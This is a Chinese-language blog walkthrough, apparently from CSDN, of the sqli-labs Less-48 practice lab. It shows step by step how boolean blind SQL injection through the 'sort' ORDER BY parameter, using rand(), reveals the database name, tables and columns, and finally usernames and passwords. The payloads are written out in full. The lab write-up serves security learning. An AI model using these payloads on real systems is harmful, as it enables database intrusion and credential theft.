• sqli-labs/Less-48


    欢迎界面还是以sort为注入参数 接下来进行注入类型的判断

    首先输入一下内容

    sort=rand()

    多尝试几次 发现界面会发生变化 所以这一关属于数字型注入 

    然后我们选择使用报错注入 尝试输入一下内容

    sort=updatexml(1,if(1=1,concat(0x7e,database(),0x7e),1),1)--+

    回显如下 呦原来不存在报错信息啊 后续操作都不能使用报错注入了

    开始使用布尔盲注那怎么用呢 我们需要借助一下rand()函数里面是关系表达式 当表达式为1时界面为条件为真时的界面 表达式为0时界面为条件为假时的界面 根据自己操作获取到的界面与基础界面(rand(0)和rand(1)时的两个界面)作比较得出结论

    首先获取一下条件为真时的界面 输入如下

    sort=rand(1)

    回显如下

    在获取一下条件为假时的界面 输入如下

    sort=rand(0)

     回显如下

    首先爆数据库的长度 输入如下

    sort=rand(length(database())=8)

    回显如下

    接着获取数据库的名称的首字母 输入如下

    sort=rand(ascii(mid(database(),1,1))=101)

     回显如下

    数据库的首字母为s

    接着获取一下表格的个数 输入如下

    sort=rand((select count(table_name) from information_schema.tables where table_schema=database())=4)

     回显如下

    表格的个数为4个

    接着获取一下第一个表格的名称个数 输入如下

    sort=rand((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6)

     回显如下

    接着获取一下第一个表格的名称的首字母 输入如下

    sort=rand(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)

     回显如下

    说明第一个表格的名称的首字母为e

    接着进行字段数量的获取 输入如下

    sort=rand((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3)

     回显如下

    字段的个数为3个

    接着进行第一个字段的名称个数的获取 输入如下

    sort=rand((select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)=2)

     回显如下

    接着进行获取第一个字段的名称操作 输入如下

    sort=rand(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105)

     回显如下

    第一个字段的名称的首字母为i

    接着获取一下第一个用户名的首字母 输入如下

    sort=rand(ascii(mid((select group_concat(username,password) from users),1,1))=68)

     回显如下

     第一个用户名的首字母为D

    闯关成功!!

  • 相关阅读:
    【微服务】Nacos集群搭建以及加载文件配置
    《Head First HTML5 javascript》第8章 DOM
    目标检测算法改进系列之Backbone替换为FocalNet
    关于项目编译工具ninja、make、cmake的区别与优劣
    内网隧道代理技术(二十八)之 DNS 隧道反弹Shell
    Nginx之防盗链及高可用解读
    【二叉树的最近公共祖先】【后序遍历】Leetcode 236. 二叉树的最近公共祖先
    2019java面试(六)
    【Java 基础篇】Java网络编程基础知识详解
    @Valid注解的作用及@Valid注解与@Validated的区别
  • 原文地址:https://blog.csdn.net/m0_71299382/article/details/127984051